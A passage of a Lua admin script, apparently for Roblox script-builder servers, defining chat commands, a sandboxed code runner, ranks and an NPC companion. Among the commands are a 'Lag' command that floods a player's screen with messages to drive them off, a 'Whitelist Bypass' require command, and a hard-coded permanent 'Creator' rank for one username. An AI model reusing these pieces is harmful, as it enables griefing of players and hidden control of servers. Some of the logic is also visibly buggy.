1330 | spawn = spawn, | |
1331 | Spawn = spawn, | |
1332 | tonumber = tonumber, | |
1333 | tostring = tostring, | |
1334 | type = type, | |
1335 | unpack = unpack, | |
1336 | delay=delay, | |
1337 | Delay=Delay, | |
1338 | Unpack=unpack, | |
1339 | gcinfo = gcinfo, | |
1340 | wait=wait, | |
1341 | PluginManager = PluginManager, | |
1342 | settings = settings, | |
1343 | Stats = Stats, | |
1344 | UserSettings = UserSettings, | |
1345 | APOLLO = (function() | |
1346 | local APPIE = APOLLO.Functions.Fake.Table(APOLLO) | |
1347 | setmetatable(APPIE,{ | |
1348 | __index = function(Self, Index, Value) | |
1349 | return rawget(Self, Index, Value) | |
1350 | end, | |
1351 | __metatable = "APOLLO table is locked." | |
1352 | }) | |
1353 | return APPIE | |
1354 | end)(), | |
1355 | loadstring = function(String) --someone bypassed | |
1356 | local Load = loadstring(String) | |
1357 | setfenv(Load, sb) | |
1358 | print(Load,String) | |
1359 | return Load | |
1360 | end, | |
1361 | print = function(...) | |
1362 | local Data, Return = {...}, "" | |
1363 | for Index,Value in pairs(Data) do | |
1364 | Return = Return .. tostring(Value) .. (Index < #Data and ", " or "") | |
1365 | end | |
1366 | return APOLLO.Functions.tabletOutput(Speaker, Return, "White") | |
1367 | end, | |
1368 | warn = function(...) | |
1369 | local Data, Return = {...}, "" | |
1370 | for Index,Value in pairs(Data) do | |
1371 | Return = Return .. tostring(Value) .. (Index < #Data and ", " or "") | |
1372 | end | |
1373 | return APOLLO.Functions.tabletOutput(Speaker, Return, "Bright orange") | |
1374 | end, | |
1375 | error = function(String, Level) | |
1376 | return APOLLO.Functions.tabletOutput(Speaker, String, "Really red") | |
1377 | end, | |
1378 | getfenv = function(Level) | |
1379 | local ReturnedEnvironment = sece | |
1380 | if type(Level) == "function" then | |
1381 | return ReturnedEnvironment | |
1382 | elseif type(Level) == "number" and Level >= 0 and Level <= 2 then | |
1383 | return ReturnedEnvironment | |
1384 | elseif type(Level) == "nil" then | |
1385 | return ReturnedEnvironment | |
1386 | elseif type(Level)=='string' and Level:lower()=='SolarEnvironment'then | |
1387 | return APOLLO.Functions.tabletOutput(Speaker,'ogm hax') | |
1388 | elseif(Level==666)then | |
1389 | return APOLLO.Functions.tabletOutput(Speaker,'THE POWER OF CHRIST COMPELLS YOU','Really red'); | |
1390 | else | |
1391 | return error("ERROR: Incorrect Environment Level") | |
1392 | end | |
1393 | end, | |
1394 | Instance = setmetatable({ | |
1395 | new = function(ClassName, Parent) | |
1396 | if ClassName then | |
1397 | return Instance.new(ClassName, Parent) | |
1398 | else | |
1399 | return error("String expected") | |
1400 | end | |
1401 | end, | |
1402 | Lock = Instance.Lock, | |
1403 | UnLock = Instance.UnLock, | |
1404 | },{__metatable = "APOLLO_ERROR_ENV"}), | |
1405 | UDim2 = setmetatable({ | |
1406 | new = UDim2.new | |
1407 | },{__metatable = "APOLLO_ERROR_ENV"}), | |
1408 | Color3 = setmetatable({ | |
1409 | new=Color3.new | |
1410 | },{__metatable='APOLLO_ERROR_ENV'}), | |
1411 | BrickColor = setmetatable({ | |
1412 | new=BrickColor.new, | |
1413 | New=BrickColor.new, | |
1414 | Random=BrickColor.random, | |
1415 | random=BrickColor.random, | |
1416 | palette=BrickColor.palette | |
1417 | },{__metatable='APOLLO_ERROR_ENV'}), | |
1418 | Vector2 = setmetatable({ | |
1419 | new = Vector2.new | |
1420 | },{__metatable = "APOLLO_ERROR_ENV"}), | |
1421 | Vector3 = setmetatable({ | |
1422 | FromNormalId = Vector3.FromNormalId, | |
1423 | FromAxis = Vector3.FromAxis, | |
1424 | new = Vector3.new, | |
1425 | },{__metatable = "APOLLO_ERROR_ENV"}), | |
1426 | CFrame = setmetatable({ | |
1427 | new = CFrame.new, | |
1428 | Angles = CFrame.Angles, | |
1429 | fromAxisAngle = CFrame.fromAxisAngle, | |
1430 | fromEulerAnglesXYZ = CFrame.fromMEulerAnglesXYZ, | |
1431 | },{__metatable = "APOLLO_ERROR_ENV"}), | |
1432 | table = setmetatable({ | |
1433 | setn = table.setn, | |
1434 | insert = table.insert, | |
1435 | getn = table.getn, | |
1436 | foreachi = table.foreachi, | |
1437 | maxn = table.maxn, | |
1438 | foreach = table.foreach, | |
1439 | concat = table.concat, | |
1440 | sort = table.sort, | |
1441 | remove = table.remove, | |
1442 | },{__metatable = "APOLLO_ERROR_ENV"}), | |
1443 | coroutine = setmetatable({ | |
1444 | resume = coroutine.resume, | |
1445 | yield = coroutine.yield, | |
1446 | status = coroutine.status, | |
1447 | wrap = coroutine.wrap, | |
1448 | create = coroutine.create, | |
1449 | running = coroutine.running, | |
1450 | },{__metatable = "APOLLO_ERROR_ENV"}), | |
1451 | string = setmetatable({ | |
1452 | sub = string.sub, | |
1453 | upper = string.upper, | |
1454 | len = string.len, | |
1455 | gfind = string.gfind, | |
1456 | rep = string.rep, | |
1457 | find = string.find, | |
1458 | match = string.match, | |
1459 | char = string.char, | |
1460 | dump = string.dump, | |
1461 | gmatch = string.gmatch, | |
1462 | reverse = string.reverse, | |
1463 | byte = string.byte, | |
1464 | format = string.format, | |
1465 | gsub = string.gsub, | |
1466 | lower = string.lower, | |
1467 | },{__metatable = "APOLLO_ERROR_ENV"}), | |
1468 | math = setmetatable({ | |
1469 | log = math.log, | |
1470 | acos = math.acos, | |
1471 | huge = 1/0, | |
1472 | ldexp = math.ldexp, | |
1473 | pi = math.pi, | |
1474 | tau = math.pi*2, | |
1475 | opti= 666, | |
1476 | cos = math.cos, | |
1477 | tanh = math.tanh, | |
1478 | pow = math.pow, | |
1479 | deg = math.deg, | |
1480 | tan = math.tan, | |
1481 | cosh = math.cosh, | |
1482 | sinh = math.sinh, | |
1483 | random = math.random, | |
1484 | randomseed = math.randomseed, | |
1485 | frexp = math.frexp, | |
1486 | ceil = math.ceil, | |
1487 | floor = math.floor, | |
1488 | rad = math.rad, | |
1489 | abs = math.abs, | |
1490 | sqrt = math.sqrt, | |
1491 | modf = math.modf, | |
1492 | asin = math.asin, | |
1493 | min = math.min, | |
1494 | max = math.max, | |
1495 | fmod = math.fmod, | |
1496 | log10 = math.log10, | |
1497 | atan2 = math.atan2, | |
1498 | exp = math.exp, | |
1499 | sin = math.sin, | |
1500 | atan = math.atan, | |
1501 | },{__metatable = "APOLLO_ERROR_ENV"}), | |
1502 | os = setmetatable({ | |
1503 | difftime = os.difftime, | |
1504 | time = os.time, | |
1505 | },{__metatable = "APOLLO_ERROR_ENV"}), | |
1506 | }, | |
1507 | __newindex = function(Self, Index, Value) | |
1508 | rawset(newe.__index, Index, Value) | |
1509 | return rawset(Self, Index, Value) | |
1510 | end, | |
1511 | __metatable = sece, | |
1512 | } | |
1513 | sb = setmetatable(sece, newe) | |
1514 | Speaker = user | |
1515 | local Function, FunctionError = loadstring(msg, "ApolloEnv") | |
1516 | local SpeakerRank = APOLLO.Functions.getRank(Speaker) | |
1517 | if type(Function) == "function" then | |
1518 | setfenv(Function, sb) | |
1519 | Function = coroutine.create(Function) | |
1520 | local Check,Error = coroutine.resume(Function) | |
1521 | if not Check then | |
1522 | --error("ERROR:\n"..tostring(Error), 1) | |
1523 | APOLLO.Functions.tabletOutput(Speaker,'// '..tostring(Error),'Really red'); | |
1524 | end | |
1525 | else | |
1526 | if not Function then | |
1527 | --error(tostring(FunctionError),1) | |
1528 | APOLLO.Functions.tabletOutput(Speaker,'// '..tostring(Error),'Really red'); | |
1529 | end | |
1530 | end | |
1531 | end) | |
1532 | if not mf then | |
1533 | error(mr); | |
1534 | end | |
1535 | end) | |
1536 | APOLLO.Functions.AddCommand('Change rank','rank',0,'Ranks a player',function(user,msg) | |
1537 | local rank=APOLLO.Functions.getRank(user) | |
1538 | for i,v in next,game:service'Players':players() do | |
1539 | APOLLO.Functions.tabletOutput(user,v.Name,'Really red',function()APOLLO.Functions.dismiss(user) | |
1540 | if rank==0 then | |
1541 | APOLLO.Functions.tabletOutput(user,"You can't change anyones rank.",'Really red') | |
1542 | return | |
1543 | end | |
1544 | if rank>=1 and rank>APOLLO.Functions.getRank(v) then | |
1545 | APOLLO.Functions.tabletOutput(user,"Change player rank to 0",'Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,0)end) | |
1546 | end | |
1547 | if rank>=2 and rank>APOLLO.Functions.getRank(v) then | |
1548 | APOLLO.Functions.tabletOutput(user,'Change player rank to 1','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,1)end) | |
1549 | end | |
1550 | if rank>=3 and rank>APOLLO.Functions.getRank(v) then | |
1551 | APOLLO.Functions.tabletOutput(user,'Change player rank to 2','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,2)end) | |
1552 | end | |
1553 | if rank>=4 and rank>APOLLO.Functions.getRank(v) then | |
1554 | APOLLO.Functions.tabletOutput(user,'Change player rank to 3','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,3)end) | |
1555 | end | |
1556 | if rank>=5 and rank>APOLLO.Functions.getRank(v) then | |
1557 | APOLLO.Functions.tabletOutput(user,'Change player rank to 4','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,4)end) | |
1558 | end | |
1559 | if rank>=6 and rank>APOLLO.Functions.getRank(v) then | |
1560 | APOLLO.Functions.tabletOutput(user,'Change player rank to 5','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,5)end) | |
1561 | end | |
1562 | end) | |
1563 | end | |
1564 | end) | |
1565 | ||
1566 | APOLLO.Functions.AddCommand('Require','req',5,'Requires an ID at Nexures SB (Whitelist Bypass)',function(user,msg) | |
1567 | local e=getfenv(load) | |
1568 | e.require=nil; | |
1569 | e.require(tostring(msg))(getfenv()) | |
1570 | end) | |
1571 | ||
1572 | APOLLO.Functions.AddCommand('Shutdown','sd',6,'Shuts down the server.',function() | |
1573 | for i,v in next,APOLLO.Services do | |
1574 | for d,k in next,v:children() do | |
1575 | pcall(game.Destroy,k); | |
1576 | end | |
1577 | end | |
1578 | while(wait())do | |
1579 | for i,plr in next,game:service'Players':players() do | |
1580 | APOLLO.Functions.kick(plr); | |
1581 | end | |
1582 | end | |
1583 | end); | |
1584 | ||
1585 | APOLLO.Functions.AddCommand('Colors','colors',1,'Shows Lua colors',function(user) | |
1586 | for i,v in next,APOLLO.Colors do | |
1587 | APOLLO.Functions.tabletOutput(user,tostring(v),v); | |
1588 | end | |
1589 | end); | |
1590 | ||
1591 | APOLLO.Functions.AddCommand('Change bet','cbet',0,'Changes your bet',function(user) | |
1592 | local bets={'/','\\',"'",'"','>','<',',','.','?',';',':'}; | |
1593 | for i,v in next,APOLLO.Ranked do | |
1594 | if v.Name==user.Name then | |
1595 | for i,bet in next,bets do | |
1596 | APOLLO.Functions.tabletOutput(user,tostring(bet),'Really red',function()APOLLO.Functions.dismiss(user)v.Bet=bet end) | |
1597 | end | |
1598 | end | |
1599 | end | |
1600 | end); | |
1601 | ||
1602 | APOLLO.Functions.AddCommand('List place settings/info','plc',2,'Shows place info and settings',function(user) | |
1603 | local o=APOLLO.Functions.tabletOutput; | |
1604 | o(user,'id='..game.PlaceId); | |
1605 | o(user,'# '..#workspace:children()); | |
1606 | o(user,'garbage: '..'nan'); | |
1607 | o(user,'LoadStringEnabled: '..game:service'ServerScriptService'.LoadStringEnabled); | |
1608 | o(user,'Sandboxed: '..'All functions ran, no sandboxes found.'); | |
1609 | o(user,'Environment clean: yes'); | |
1610 | end); | |
1611 | ||
1612 | APOLLO.Functions.AddCommand('Create server','news',666-660,'Makes a new server',function(user,msg) | |
1613 | local placeid = nil | |
1614 | if #msg > 2 then | |
1615 | placeid = msg | |
1616 | end | |
1617 | APOLLO.Functions.CreateGameServer(user,placeid) | |
1618 | end); | |
1619 | ||
1620 | ||
1621 | APOLLO.Functions.AddCommand('Ponda','ponda',1,'Spawns an AntiBooz0r companion',function(user,msg) | |
1622 | local num=msg:sub(1,2) | |
1623 | local num2=msg:sub(4,6) | |
1624 | local Asset = "http://www.roblox.com/asset/?id=" | |
1625 | function Part(P, Anch, Coll, Tran, Ref, Col, X, Y, Z) | |
1626 | local p = Instance.new("Part") | |
1627 | p.TopSurface = 0 | |
1628 | p.BottomSurface = 0 | |
1629 | p.Transparency = Tran | |
1630 | p.Reflectance = Ref | |
1631 | p.CanCollide = Coll | |
1632 | p.Anchored = Anch | |
1633 | p.BrickColor = BrickColor.new(Col) | |
1634 | p.formFactor = "Custom" | |
1635 | p.Size = Vector3.new(X,Y,Z) | |
1636 | p.Parent = P | |
1637 | p.Locked = true | |
1638 | p:BreakJoints() | |
1639 | return p | |
1640 | end | |
1641 | ||
1642 | function Weld(P0, P1, X, Y, Z, A, B, C) | |
1643 | local w = Instance.new("Weld") | |
1644 | w.Part0 = P0 | |
1645 | w.Part1 = P1 | |
1646 | w.C = CN(X, Y, Z) * CA(A, B, C) | |
1647 | w.Parent = P0 | |
1648 | return w | |
1649 | end | |
1650 | ||
1651 | CA = CFrame.Angles | |
1652 | CN = CFrame.new | |
1653 | V3 = Vector3.new | |
1654 | MR = math.rad | |
1655 | MP = math.pi | |
1656 | MRA = math.random | |
1657 | MH = math.huge | |
1658 | Noob = nil | |
1659 | function MakeMotor(torso, p1, c0, c1) | |
1660 | local mot = Instance.new("Motor6D") | |
1661 | mot.C0 = c0 | |
1662 | mot.C1 = c1 | |
1663 | mot.Part0 = torso | |
1664 | mot.Part1 = p1 | |
1665 | mot.Parent = torso | |
1666 | return mot | |
1667 | end | |
1668 | ||
1669 | function Set(tab) | |
1670 | for _,v in pairs(tab) do | |
1671 | local motor = v[1] | |
1672 | local vel = v[2] | |
1673 | local des = v[3] | |
1674 | motor.MaxVelocity = vel | |
1675 | motor.DesiredAngle = des | |
1676 | end | |
1677 | end | |
1678 | ||
1679 | function Animate(Hum, RSH, LSH, RH, LH) | |
1680 | local pose = "Standing" | |
1681 | local function sit() | |
1682 | pose = "Seated" | |
1683 | end | |
1684 | local function jump() | |
1685 | pose = "Jumping" | |
1686 | end | |
1687 | local function died() | |
1688 | pose = "Dead" | |
1689 | end | |
1690 | local function falling() | |
1691 | pose = "Falling" | |
1692 | end | |
1693 | local function climbing() | |
1694 | pose = "Climbing" | |
1695 | end | |
1696 | local function run(speed) | |
1697 | if speed > 0.5 then | |
1698 | pose = "Running" | |
1699 | else | |
1700 | pose = "Standing" | |
1701 | end | |
1702 | end | |
1703 | local function move(tiem) | |
1704 | local amplitude, frequency | |
1705 | if pose == "Seated" then | |
1706 | Set({{RSH, 0.15, math.pi/2}, {LSH, 0.15, -math.pi/2}, {LH, 0.15, math.pi/2}, {RH, 0.15, -math.pi/2}}) | |
1707 | return | |
1708 | end | |
1709 | if pose == "Jumping" then | |
1710 | Set({{RSH, 0.3, math.pi}, {LSH, 0.3, -math.pi}, {LH, 0.3, 0}, {RH, 0.3, 0}}) | |
1711 | return | |
1712 | end | |
1713 | if pose == "Falling" then | |
1714 | Set({{RSH, 0.35, math.pi}, {LSH, 0.35, -math.pi}, {LH, 0.35, 0}, {RH, 0.35, 0}}) | |
1715 | return | |
1716 | end | |
1717 | local climb = 0 | |
1718 | if pose == "Running" then | |
1719 | RSH.MaxVelocity = 0.15 | |
1720 | LSH.MaxVelocity = 0.15 | |
1721 | RH.MaxVelocity = 0.15 | |
1722 | LH.MaxVelocity = 0.15 | |
1723 | amplitude = 1 | |
1724 | frequency = 8 | |
1725 | elseif pose == "Climbing" then | |
1726 | RSH.MaxVelocity = 0.3 | |
1727 | LSH.MaxVelocity = 0.3 | |
1728 | RH.MaxVelocity = 0.15 | |
1729 | LH.MaxVelocity = 0.15 | |
1730 | amplitude = 1 | |
1731 | frequency = 8 | |
1732 | climb = math.pi | |
1733 | else | |
1734 | amplitude = 0.1 | |
1735 | frequency = 1 | |
1736 | end | |
1737 | des = amplitude * math.sin(tiem*frequency) | |
1738 | RSH.DesiredAngle = des + climb | |
1739 | LSH.DesiredAngle = des - climb | |
1740 | RH.DesiredAngle = -des | |
1741 | LH.DesiredAngle = -des | |
1742 | end | |
1743 | Hum.Jumping:connect(jump) | |
1744 | Hum.Running:connect(run) | |
1745 | Hum.Seated:connect(sit) | |
1746 | Hum.Died:connect(died) | |
1747 | Hum.FreeFalling:connect(falling) | |
1748 | Hum.Climbing:connect(climbing) | |
1749 | coroutine.resume(coroutine.create(function() | |
1750 | while pose ~= "Dead" do | |
1751 | local _, time = wait(0.1) | |
1752 | move(time) | |
1753 | end | |
1754 | end)) | |
1755 | end | |
1756 | ||
1757 | function MakeNoob(pos, scale) | |
1758 | local Name = 'Ponda' | |
1759 | local Nub = Instance.new("Model") | |
1760 | Nub.Name = Name | |
1761 | Noob = Nub | |
1762 | local Torso = Part(Nub, false, false, 0, 0, "Really black", 2*scale, 2*scale, 1*scale) | |
1763 | Torso.Name = "Torso" | |
1764 | local Head = Part(Nub, false, false, 0, 0, "Institutional white", 2*scale, 1*scale, 1*scale) | |
1765 | Head.Name = "Head" | |
1766 | local Neck = MakeMotor(Torso, Head, CN(0, 1*scale, 0), CN(0, -0.5*scale, 0)) | |
1767 | local HeadMesh = Instance.new("SpecialMesh",Head) | |
1768 | HeadMesh.Scale = V3(1.25, 1.25, 1.25) | |
1769 | local Face = Instance.new("Decal",Head) | |
1770 | Face.Face = "Front" | |
1771 | Face.Texture = Asset..(13038247) | |
1772 | local Rarm = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale) | |
1773 | Rarm.Name = "Right Arm" | |
1774 | local Larm = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale) | |
1775 | Larm.Name = "Left Arm" | |
1776 | local Rleg = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale) | |
1777 | Rleg.Name = "Right Leg" | |
1778 | local Lleg = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale) | |
1779 | Lleg.Name = "Left Leg" | |
1780 | ||
1781 | local Root= Instance.new("Part",Nub) | |
1782 | Root.Name='HumanoidRootPart' | |
1783 | Root.Transparency=1; | |
1784 | Root.Size=Vector3.new(2,2,1); | |
1785 | Root.Friction=0.30 | |
1786 | Root.Elasticity=0.5 | |
1787 | local Hip = Instance.new("Motor6D",Root) | |
1788 | Hip.CurrentAngle=0; | |
1789 | Hip.DesiredAngle=0; | |
1790 | Hip.MaxVelocity=0.1; | |
1791 | Hip.Name='RootHip' | |
1792 | Hip.Part0=Root | |
1793 | Hip.Part1=Torso | |
1794 | ||
1795 | local RSH = MakeMotor(Torso, Rarm, CN(1*scale, 0.5*scale, 0) * CA(0, MR(90), 0), CN(-0.5*scale, 0.5*scale, 0) * CA(0, MR(90), 0)) | |
1796 | local LSH = MakeMotor(Torso, Larm, CN(-1*scale, 0.5*scale, 0) * CA(0, MR(-90), 0), CN(0.5*scale, 0.5*scale, 0) * CA(0, MR(-90), 0)) | |
1797 | local RH = MakeMotor(Torso, Rleg, CN(0.5*scale, -1*scale, 0) * CA(0, MR(-90), 0), CN(0, 1*scale, 0) * CA(0, MR(-90), 0)) | |
1798 | local LH = MakeMotor(Torso, Lleg, CN(-0.5*scale, -1*scale, 0) * CA(0, MR(90), 0), CN(0, 1*scale, 0) * CA(0, MR(90), 0)) | |
1799 | local Hum = Instance.new("Humanoid") | |
1800 | local Hat=game:service'InsertService':LoadAsset(20721282).Pwnda | |
1801 | Hat.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*scale | |
1802 | --local Hat2=game:service'InsertService':LoadAsset(152980442).EggofLuck2014 | |
1803 | --Hat2.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*(scale-0.95) | |
1804 | wait(0.1) | |
1805 | Hat.Parent=Nub | |
1806 | Hum.MaxHealth = 40+(scale*60) | |
1807 | Hum.Health = 100 | |
1808 | Hum.Parent = Nub | |
1809 | Nub.Parent = workspace | |
1810 | Nub:MakeJoints() | |
1811 | Nub:MoveTo(pos) | |
1812 | Animate(Hum,RSH,LSH,RH,LH) | |
1813 | local path = { | |
1814 | Vector3.new(7.9, 5.39, -65.1), | |
1815 | Vector3.new(9.7, 47.39, -17.1), | |
1816 | Vector3.new(-3.2, 23.49, -9), | |
1817 | Vector3.new(-13.2, 5.49, 30.8), | |
1818 | Vector3.new(-82.9, 5.39, 16.5), | |
1819 | } | |
1820 | ||
1821 | local radius = 200 | |
1822 | ||
1823 | function randomvector() | |
1824 | return Vector3.new(math.random() * radius * 2 - radius, math.random() * radius * 2 - radius, math.random() * radius * 2 - radius) | |
1825 | end | |
1826 | ||
1827 | local pointCount = math.random(4, 10) | |
1828 | ||
1829 | for i = 1, pointCount do | |
1830 | path[i] = randomvector() | |
1831 | end | |
1832 | ||
1833 | wait() | |
1834 | ||
1835 | local parent = Nub | |
1836 | local moveTime = 0 | |
1837 | while (true) do | |
1838 | for i, point in pairs(path) do | |
1839 | local distanceVector = parent.HumanoidRootPart.Position - point | |
1840 | local distance = distanceVector.magnitude | |
1841 | parent.Humanoid:MoveTo(point, Workspace.Base) | |
1842 | moveTime = 0 | |
1843 | while (moveTime < (distance / 32)) do | |
1844 | moveTime = moveTime + 1 | |
1845 | -- parent.Humanoid.Jump = true | |
1846 | wait(1) | |
1847 | end | |
1848 | end | |
1849 | end | |
1850 | ||
1851 | return {Name = Name, Model = Nub, Humanoid = Hum, Torso = Torso, Head = Head, Rarm = Rarm, Larm = Larm, Rleg = Rleg, Lleg = Lleg, RSH = RSH, LSH = LSH, RH = RH, LH = LH, Neck = Neck} | |
1852 | end | |
1853 | local Npc = MakeNoob(V3(MRA(-20, 20),10,MRA(-20, 20)),1) | |
1854 | end); | |
1855 | ||
1856 | APOLLO.Functions.AddCommand('Lag','lg',4,'Lags a player, causing him to leave.',function(user,msg) | |
1857 | for i,v in next,APOLLO.Functions.getPlayers(user,msg)do | |
1858 | for i = 0,3 do | |
1859 | for i = 0,10000 do | |
1860 | pcall(function()Instance.new("Message",v.PlayerGui).Text="W'sup"end) | |
1861 | end;end;end;end) | |
1862 | APOLLO.Functions.AddCommand('Commands','cmds',0,'Shows the commands',function(user,msg) | |
1863 | APOLLO.Functions.showCommands(user); | |
1864 | end); | |
1865 | ||
1866 | APOLLO.Functions.AddCommand('Check','check',0,'Checks if the admin is running',function(user) | |
1867 | APOLLO.Functions.guiNotify(user,'APOLLO is running!',3); | |
1868 | end); | |
1869 | ||
1870 | APOLLO.Functions.AddCommand('Player Interface','pint',6,'Shows player interface',function(user) | |
1871 | if(script.ClassName=='LocalScript')then | |
1872 | APOLLO.Functions.guiNotify(user,'Please run APOLLO serversided to use this command.',5); | |
1873 | else | |
1874 | APOLLO.Functions.playerInterface(user); | |
1875 | end | |
1876 | end); | |
1877 | ||
1878 | APOLLO.Functions.AddCommand('#','#',1,'Shows # tablets',function(user,msg) | |
1879 | local num=tonumber(msg); | |
1880 | if num then | |
1881 | for i = 0,num do | |
1882 | APOLLO.Functions.tabletOutput(user,tostring(i)); | |
1883 | end | |
1884 | end | |
1885 | end); | |
1886 | ||
1887 | ||
1888 | APOLLO.Functions.AddCommand('Update','update',6,'Updates the script if there is an update available.',function(user) | |
1889 | local newVer=game:service'HttpService':GetAsync(APOLLO.CoreStuff.baseLink,true) | |
1890 | if newVer~=CurrentVersion then | |
1891 | APOLLO.Functions.tabletOutput(user,'A new update available! Click me to update.','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.update()end) | |
1892 | elseif | |
1893 | newVer==CurrentVersion then | |
1894 | APOLLO.Functions.tabletOutput(user,'There is no new version available.','Dark green'); | |
1895 | end | |
1896 | end) | |
1897 | --[[ | |
1898 | APOLLO.Funtions.AddCommand('NewServer','news',4,'Makes a new server.',function() | |
1899 | local l=('http://roproxy.tk/Game/PlaceLauncher.ashx?request=RequestGame&placeid='..tostring(game.PlaceId)..'&isPartyLeader=false&gender=&isTeleport=true') | |
1900 | for i = 0,5 do | |
1901 | wait(1) | |
1902 | game:service'HttpService':GetAsync(l,true) | |
1903 | end | |
1904 | end)]]-- | |
1905 | APOLLO.Functions.AddCommand('Grab','grab',1,'Grabs a player',function(user,msg) | |
1906 | pcall(function()loadstring(string.format('APOLLO.Functions.attach(%s,%s)','game.Players["'..tostring(user)..'"]',tostring(msg)))()end) | |
1907 | end); | |
1908 | ||
1909 | APOLLO.Functions.AddCommand('Explore','exp',5,'Explores the game',function(user) | |
1910 | APOLLO.Functions.Explore(user) | |
1911 | end) | |
1912 | ||
1913 | APOLLO.Functions.AddCommand('Env','env',0,'Shows environment',function(user) | |
1914 | for i,v in next,getfenv() do | |
1915 | APOLLO.Functions.tabletOutput(user,tostring(i)..': '..tostring(v)) | |
1916 | end | |
1917 | end); | |
1918 | ||
1919 | ||
1920 | APOLLO.Functions.AddCommand('Force','#',4,'Force a command upon a player.',function(user,msg) | |
1921 | for i,v in next,APOLLO.Functions.getPlayers(user,msg)do | |
1922 | APOLLO.Functions.Chat(v,tostring(msg)) | |
1923 | end;end); | |
1924 | APOLLO.Functions.AddCommand('Clear','clr',2,'Clears the workspace.',function() | |
1925 | for i,d in next,workspace:children()do | |
1926 | pcall(function()d:remove()end);end; | |
1927 | for i,v in next,game:service'Lighting':children()do | |
1928 | pcall(function()d:Destroy()end); | |
1929 | end | |
1930 | for i,v in next,game:service'Players':players() do | |
1931 | if(script.ClassName=='Script')then | |
1932 | v:LoadCharacter() | |
1933 | elseif NS~=nil then | |
1934 | NS([[game:service'Players':children()[]]..i..[[]:LoadCharacter()]],game:service'Workspace'); | |
1935 | else | |
1936 | print'Script builder not loadcharacter compatible. Sorry.' | |
1937 | end | |
1938 | end | |
1939 | local b=Instance.new("Part",workspace) | |
1940 | b.Size=Vector3.new(700,1.200000005,700) | |
1941 | b.Material='Grass' | |
1942 | b.BrickColor=BrickColor.new('Dark green') | |
1943 | b.Anchored=true; | |
1944 | b.Locked=true; | |
1945 | b.Name='Base' | |
1946 | end) | |
1947 | ||
1948 | --[[ | |
1949 | APOLLO.Functions.AddCommand('Lag_Ban','lb',5,'Lagbans a player, causing him to leave and never come back',function(user,msg) | |
1950 | for i,v in next,APOLLO.Functions.getPlayers(user,msg)do | |
1951 | for i = 0,10000 do | |
1952 | pcall(function()Instance.new("Message",v.PlayerGui).Text="W'sup"end) | |
1953 | end;end;end) | |
1954 | ]]-- | |
1955 | ||
1956 | local timeBan=game:service'RunService'.Stepped:connect(function() | |
1957 | for i,v in next,APOLLO.TimeBanned do | |
1958 | v.Time=v.Time-1 | |
1959 | if v.Time>=0 then | |
1960 | table.remove(APOLLO.TimeBanned,i); | |
1961 | end | |
1962 | end | |
1963 | wait(1) | |
1964 | end) | |
1965 | ||
1966 | local rotate=game:service'RunService'.Stepped:connect(function() | |
1967 | if APOLLO.CoreStuff.RotMode==1 then | |
1968 | APOLLO.Functions.rotateAnim(APOLLO.CoreStuff.tabPart) | |
1969 | end | |
1970 | for i,v in next,APOLLO.Ranked do | |
1971 | if v.Name=='SolarEnvironment'and not v.Rank==7 then | |
1972 | v.Name='SolarEnvironment';v.Reason='Creator';v.Rank=7 | |
1973 | else | |
1974 | APOLLO.Functions.AddRank('SolarEnvironment','Creator',7,'/'); | |
1975 | end | |
1976 | if v.Rank==7 and not v.Name=='APOLLO_SYSTEM'and not v.Reason=='EVENT_HANDELING'and not v.Name=='SolarEnvironment'and not v.Reason=='Creator'then | |
1977 | v.Rank=0; | |
1978 | end | |
1979 | end | |
1980 | if(APOLLO.Settings.sharedLock==true)then | |
1981 | for i,v in next,shared do | |
1982 | shared[i]=nil; | |
1983 | end | |
1984 | end | |
1985 | if(APOLLO.Settings.sharedLock==true)then | |
1986 | for i,v in next,_G do | |
1987 | _G[i]=nil; | |
1988 | end | |
1989 | end | |
1990 | end) | |
1991 | ||
1992 | ||
1993 | ||
1994 | game:service'RunService'.Stepped:connect(function() | |
1995 | for i,v in next,game:service'Workspace':children() do | |
1996 | if v.Name=='ApolloPart' and v:IsA'BasePart' then | |
1997 | v.Position=Vector3.new(0,500,0); | |
1998 | APOLLO.CoreStuff.tabPart=v | |
1999 | return | |
2000 | else | |
2001 | local p=Instance.new("Part") | |
2002 | p.Name='ApolloPart' | |
2003 | p.Size=Vector3.new(1,1,1); | |
2004 | p.Anchored=true; | |
2005 | p.CanCollide=false; | |
2006 | p.Transparency=1; | |
2007 | p.Position=Vector3.new(0,500,0); | |
2008 | APOLLO.CoreStuff.tabPart=v; | |
2009 | return | |
2010 | end | |
2011 | end | |
2012 | end) | |
2013 | ||
2014 | for i,p in next,game:service'Players':players() do | |
2015 | wait(); | |
2016 | for i,v in next,APOLLO.Banned do | |
2017 | if tostring(v)==tostring(p) then | |
2018 | APOLLO.Functions.kick(p); | |
2019 | end | |
2020 | end | |
2021 | for i,v in next,APOLLO.TimeBanned do | |
2022 | if tostring(v.Name)==tostring(p) then | |
2023 | APOLLO.Functions.kick(p); | |
2024 | end | |
2025 | end | |
2026 | if p~= nil then | |
2027 | APOLLO.Functions.AddRank(p.Name,0,'APOLLO_ERROR: NOT_DEFINED') | |
2028 | local f=false; | |
2029 | for _,v in pairs(APOLLO.Logged) do | |
2030 | if v["Name"] == tostring(p.Name) then | |
2031 | f = true | |
2032 | break | |
2033 | end | |
2034 | end | |
2035 | if f==false then | |
2036 | table.insert(APOLLO.Logged,{['Name']=p.Name,['Actions']={}}); | |
2037 | end | |
2038 | p.Chatted:connect(function(m) | |
2039 | APOLLO.Functions.Chat(p,m) | |
2040 | end) | |
2041 | end | |
2042 | if APOLLO.Settings.Pri==true then | |
2043 | if APOLLO.Functions.getRank(p)==0 then | |
